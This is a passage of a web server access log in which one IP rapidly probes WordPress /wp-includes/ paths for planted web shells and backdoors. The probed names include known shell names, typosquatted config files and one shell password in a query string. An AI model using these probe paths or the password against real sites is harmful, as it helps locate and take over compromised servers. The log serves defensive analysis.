/wp-includes/Text/wp-conflg.php?p= HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:14:33 -0400] "GET /wp-includes/about.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:14:35 -0400] "GET /wp-includes/admin.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:14:37 -0400] "GET /wp-includes/assets/ HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:14:38 -0400] "GET /wp-includes/assets//about.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:14:40 -0400] "GET /wp-includes/assets//classwithtostring.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:14:42 -0400] "GET /wp-includes/assets//cloud.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:14:43 -0400] "GET /wp-includes/assets//wp-access.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:14:44 -0400] "GET /wp-includes/assets/about.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:14:45 -0400] "GET /wp-includes/assets/admiin.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:14:47 -0400] "GET /wp-includes/assets/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:14:49 -0400] "GET /wp-includes/assets/file.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:14:50 -0400] "GET /wp-includes/assets/index.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:14:52 -0400] "GET /wp-includes/assets/index.php?p= HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:14:55 -0400] "GET /wp-includes/assets/x2.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:14:57 -0400] "GET /wp-includes/assets/xBrain.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:14:58 -0400] "GET /wp-includes/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:14:59 -0400] "GET /wp-includes/bak.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:15:01 -0400] "GET /wp-includes/bk/index.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:15:02 -0400] "GET /wp-includes/blTvYBaqncP.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:15:05 -0400] "GET /wp-includes/block-bindings/ HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:15:08 -0400] "GET /wp-includes/block-bindings/admin.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:15:12 -0400] "GET /wp-includes/block-patterns/ HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:15:14 -0400] "GET /wp-includes/block-patterns/about.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:15:17 -0400] "GET /wp-includes/block-patterns/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:15:18 -0400] "GET /wp-includes/block-patterns/ben.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:15:18 -0400] "GET /wp-includes/block-patterns/index.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:15:21 -0400] "GET /wp-includes/block-patterns/index.php?p= HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:15:22 -0400] "GET /wp-includes/block-supports/ HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:15:23 -0400] "GET /wp-includes/block-supports//default-constant.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:15:25 -0400] "GET /wp-includes/block-supports//dimensions-ajax.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:15:25 -0400] "GET /wp-includes/block-supports/about.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:15:26 -0400] "GET /wp-includes/block-supports/admiin.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:15:28 -0400] "GET /wp-includes/block-supports/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:15:28 -0400] "GET /wp-includes/block-supports/index.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:15:30 -0400] "GET /wp-includes/blocks/ HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:15:31 -0400] "GET /wp-includes/blocks/about.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:15:32 -0400] "GET /wp-includes/blocks/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:15:33 -0400] "GET /wp-includes/blocks/block/ HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:15:34 -0400] "GET /wp-includes/blocks/calendar/ HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:15:35 -0400] "GET /wp-includes/blocks/comment-template/ HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:15:36 -0400] "GET /wp-includes/blocks/freeform/ HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:15:37 -0400] "GET /wp-includes/blocks/heading/ HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:15:37 -0400] "GET /wp-includes/blocks/latest-comments/ HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:15:38 -0400] "GET /wp-includes/blocks/list/ HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:15:39 -0400] "GET /wp-includes/blocks/list/index.php?p= HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:15:40 -0400] "GET /wp-includes/blocks/loginout/ HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:15:42 -0400] "GET /wp-includes/blocks/more/ HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:15:43 -0400] "GET /wp-includes/blocks/post-author/ HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:15:44 -0400] "GET /wp-includes/blocks/post-author/wp-post.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:15:45 -0400] "GET /wp-includes/blocks/shortcode/ HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:15:46 -0400] "GET /wp-includes/blocks/site-logo/ HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:15:47 -0400] "GET /wp-includes/blocks/social-links/ HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:15:48 -0400] "GET /wp-includes/blocks/term-description/ HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:15:49 -0400] "GET /wp-includes/blocks/wp-conflg.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:15:50 -0400] "GET /wp-includes/blocks/wp-conflg.php?p= HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:15:50 -0400] "GET /wp-includes/bnYGWrcap1X.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:15:51 -0400] "GET /wp-includes/buy.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:15:52 -0400] "GET /wp-includes/certificates/ HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:15:53 -0400] "GET /wp-includes/certificates/about.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:15:53 -0400] "GET /wp-includes/certificates/admin.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:15:55 -0400] "GET /wp-includes/certificates/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:15:56 -0400] "GET /wp-includes/certificates/chosen.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:15:56 -0400] "GET /wp-includes/certificates/index.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:15:57 -0400] "GET /wp-includes/certificates/index.php?p= HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:15:58 -0400] "GET /wp-includes/certificates/plugins.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:15:59 -0400] "GET /wp-includes/certificates/wp-login.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:16:00 -0400] "GET /wp-includes/css.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:16:00 -0400] "GET /wp-includes/css/ HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:16:02 -0400] "GET /wp-includes/css//index.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:16:03 -0400] "GET /wp-includes/css/about.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:16:04 -0400] "GET /wp-includes/css/about.php?p= HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:16:05 -0400] "GET /wp-includes/css/admiin.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:16:06 -0400] "GET /wp-includes/css/alfa-rex.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:16:07 -0400] "GET /wp-includes/css/dist/ HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:16:07 -0400] "GET /wp-includes/css/dist/block-library/ HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:16:09 -0400] "GET /wp-includes/css/dist/components/admin.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:16:09 -0400] "GET /wp-includes/css/dist/edit-site/ HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:16:10 -0400] "GET /wp-includes/css/dist/edit-widgets/ HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:16:12 -0400] "GET /wp-includes/css/dist/list-reusable-blocks/ HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:16:13 -0400] "GET /wp-includes/css/dist/preferences/index.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:16:14 -0400] "GET /wp-includes/css/dist/widgets/ HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:16:14 -0400] "GET /wp-includes/css/index.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:16:15 -0400] "GET /wp-includes/css/index.php?p= HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:16:16 -0400] "GET /wp-includes/css/wp-conflg.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:16:16 -0400] "GET /wp-includes/css/wp-conflg.php?p= HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:16:17 -0400] "GET /wp-includes/css/wp-login.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:16:18 -0400] "GET /wp-includes/css/xBrain.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:16:18 -0400] "GET /wp-includes/customize/ HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:16:19 -0400] "GET /wp-includes/customize/about.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:16:20 -0400] "GET /wp-includes/customize/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:16:21 -0400] "GET /wp-includes/customize/chosen.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:16:22 -0400] "GET /wp-includes/customize/index.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:16:22 -0400] "GET /wp-includes/customize/mariju.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:16:23 -0400] "GET /wp-includes/customize/wp-conflg.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:16:24 -0400] "GET /wp-includes/customize/wp-conflg.php?p= HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:16:24 -0400] "GET /wp-includes/customize/wp-login.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:16:25 -0400] "GET /wp-includes/customize/zmFM.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:16:26 -0400] "GET /wp-includes/fonts/ HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:16:27 -0400] "GET /wp-includes/fonts//links.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:16:28 -0400] "GET /wp-includes/fonts/admin.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:16:29 -0400] "GET /wp-includes/fonts/index.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:16:30 -0400] "GET /wp-includes/fonts/index.php?p= HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:16:31 -0400] "GET /wp-includes/fonts/wp-conflg.php?p= HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:16:32 -0400] "GET /wp-includes/fonts/wp-login.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:16:32 -0400] "GET /wp-includes/function.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:16:33 -0400] "GET /wp-includes/html-api/ HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:16:34 -0400] "GET /wp-includes/html-api/chosen.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:16:34 -0400] "GET /wp-includes/html-api/index.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:16:35 -0400] "GET /wp-includes/html-api/wp-conflg.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:16:36 -0400] "GET /wp-includes/html-api/wp-conflg.php?p= HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:16:37 -0400] "GET /wp-includes/html-api/wp-login.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:16:37 -0400] "GET /wp-includes/iUN3FwyCaZR.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:16:38 -0400] "GET /wp-includes/iWoGYaunXNz.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:16:38 -0400] "GET /wp-includes/images/ HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:16:39 -0400] "GET /wp-includes/images//about.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:16:40 -0400] "GET /wp-includes/images/about.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:16:41 -0400] "GET /wp-includes/images/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:16:41 -0400] "GET /wp-includes/images/chosen.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:16:43 -0400] "GET /wp-includes/images/crystal/ HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:16:44 -0400] "GET /wp-includes/images/crystal//index.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:16:44 -0400] "GET /wp-includes/images/index.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:16:45 -0400] "GET /wp-includes/images/media/ HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:16:46 -0400] "GET /wp-includes/images/media/about.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:16:46 -0400] "GET /wp-includes/images/media/ben.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:16:47 -0400] "GET /wp-includes/images/media/index.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:16:48 -0400] "GET /wp-includes/images/media/wp-login.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:16:49 -0400] "GET /wp-includes/images/smilies/ HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:16:49 -0400] "GET /wp-includes/images/smilies/about.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:16:50 -0400] "GET /wp-includes/images/smilies/index.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:16:51 -0400] "GET /wp-includes/images/smilies/wp-login.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:16:51 -0400] "GET /wp-includes/images/wlw/ HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:16:52 -0400] "GET /wp-includes/images/wlw/wp-login.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:16:53 -0400] "GET /wp-includes/images/wp-error_log.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:16:53 -0400] "GET /wp-includes/images/wp-login.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:16:54 -0400] "GET /wp-includes/index.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:16:55 -0400] "GET /wp-includes/install.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:16:56 -0400] "GET /wp-includes/interactivity-api/ HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:16:57 -0400] "GET /wp-includes/js/ HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:16:57 -0400] "GET /wp-includes/js//text.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:16:58 -0400] "GET /wp-includes/js/about.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:16:59 -0400] "GET /wp-includes/js/alfa-rex.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:17:00 -0400] "GET /wp-includes/js/chosen.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:17:01 -0400] "GET /wp-includes/js/codemirror/ HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:17:02 -0400] "GET /wp-includes/js/codemirror/about.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:17:03 -0400] "GET /wp-includes/js/codemirror/index.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:17:03 -0400] "GET /wp-includes/js/codemirror/index.php?p= HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:17:04 -0400] "GET /wp-includes/js/crop/ HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:17:05 -0400] "GET /wp-includes/js/crop/about.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:17:06 -0400] "GET /wp-includes/js/crop/admin.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:17:06 -0400] "GET /wp-includes/js/dist/ HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:17:07 -0400] "GET /wp-includes/js/dist/vendor/ HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:17:08 -0400] "GET /wp-includes/js/imgareaselect/ HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:17:08 -0400] "GET /wp-includes/js/jcrop/ HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:17:09 -0400] "GET /wp-includes/js/jcrop/Jcrop.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:17:10 -0400] "GET /wp-includes/js/tinymce/ HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:17:10 -0400] "GET /wp-includes/js/tinymce/about.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:17:11 -0400] "GET /wp-includes/js/tinymce/plugins/charmap/ HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:17:12 -0400] "GET /wp-includes/js/tinymce/plugins/compat3x/css/ HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:17:13 -0400] "GET /wp-includes/js/tinymce/plugins/compat3x/css/index.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:17:13 -0400] "GET /wp-includes/js/tinymce/plugins/directionality/ HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:17:14 -0400] "GET /wp-includes/js/tinymce/plugins/image/ HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:17:16 -0400] "GET /wp-includes/js/tinymce/plugins/wpview/ HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:17:17 -0400] "GET /wp-includes/js/tinymce/skins/lightgray/img/ HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:17:18 -0400] "GET /wp-includes/js/tinymce/skins/lightgray/img/about.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:17:18 -0400] "GET /wp-includes/js/tinymce/skins/lightgray/img/index.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:17:19 -0400] "GET /wp-includes/js/tinymce/skins/wordpress/images/about.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:17:19 -0400] "GET /wp-includes/js/tinymce/skins/wordpress/images/index.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:17:20 -0400] "GET /wp-includes/js/tinymce/skins/wordpress/images/index.php?p= HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:17:21 -0400] "GET /wp-includes/js/tinymce/skins/wordpress/images/wp-login.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:17:22 -0400] "GET /wp-includes/js/tinymce/themes/ HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:17:23 -0400] "GET /wp-includes/js/tinymce/themes/inlite/ HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:17:23 -0400] "GET /wp-includes/js/tinymce/utils/ HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:17:24 -0400] "GET /wp-includes/js/tinymce/wp-tinymce.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:17:25 -0400] "GET /wp-includes/js/wp-login.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:17:26 -0400] "GET /wp-includes/js/x2.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:17:27 -0400] "GET /wp-includes/mah.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:17:27 -0400] "GET /wp-includes/mah.php?pass=888xyz999 HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:17:28 -0400] "GET /wp-includes/network.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:17:29 -0400] "GET /wp-includes/packed.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:17:30 -0400] "GET /wp-includes/php-compat/ HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:17:31 -0400] "GET /wp-includes/php-compat//chosen.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:17:31 -0400] "GET /wp-includes/php-compat/admiin.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:17:32 -0400] "GET /wp-includes/pomo/ HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:17:33 -0400] "GET /wp-includes/pomo/about.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:17:34 -0400] "GET /wp-includes/pomo/about.php?p= HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:17:35 -0400] "GET /wp-includes/pomo/admiin.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:17:35 -0400] "GET /wp-includes/pomo/admin.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:17:36 -0400] "GET /wp-includes/pomo/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:17:37 -0400] "GET /wp-includes/pomo/chosen.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:17:37 -0400] "GET /wp-includes/pomo/fgertreyersd.php.suspected HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:17:38 -0400] "GET /wp-includes/pomo/install.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:17:39 -0400] "GET /wp-includes/pomo/plugins.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:17:39 -0400] "GET /wp-includes/pomo/wp-conflg.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:17:40 -0400] "GET /wp-includes/pomo/wp-login.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:17:41 -0400] "GET /wp-includes/radio.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:17:41 -0400] "GET /wp-includes/random_compat/ HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:17:42 -0400] "GET /wp-includes/random_compat/about.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:17:42 -0400] "GET /wp-includes/random_compat/chosen.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:17:43 -0400] "GET /wp-includes/rest-api/ HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:17:44 -0400] "GET /wp-includes/rest-api//class-wp-rest-core.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:17:44 -0400] "GET /wp-includes/rest-api//ot_shipping.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:17:45 -0400] "GET /wp-includes/rest-api/about.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:17:45 -0400] "GET /wp-includes/rest-api/admin.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:17:46 -0400] "GET /wp-includes/rest-api/alfa-rex.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:17:47 -0400] "GET /wp-includes/rest-api/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:17:47 -0400] "GET /wp-includes/rest-api/endpoints/ HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:17:48 -0400] "GET /wp-includes/rest-api/endpoints/admiin.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:17:49 -0400] "GET /wp-includes/rest-api/endpoints/index.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:17:49 -0400] "GET /wp-includes/rest-api/endpoints/index.php?p= HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:17:50 -0400] "GET /wp-includes/rest-api/fields/ HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:17:51 -0400] "GET /wp-includes/rest-api/fields/admin.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:17:51 -0400] "GET /wp-includes/rest-api/fields/index.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - 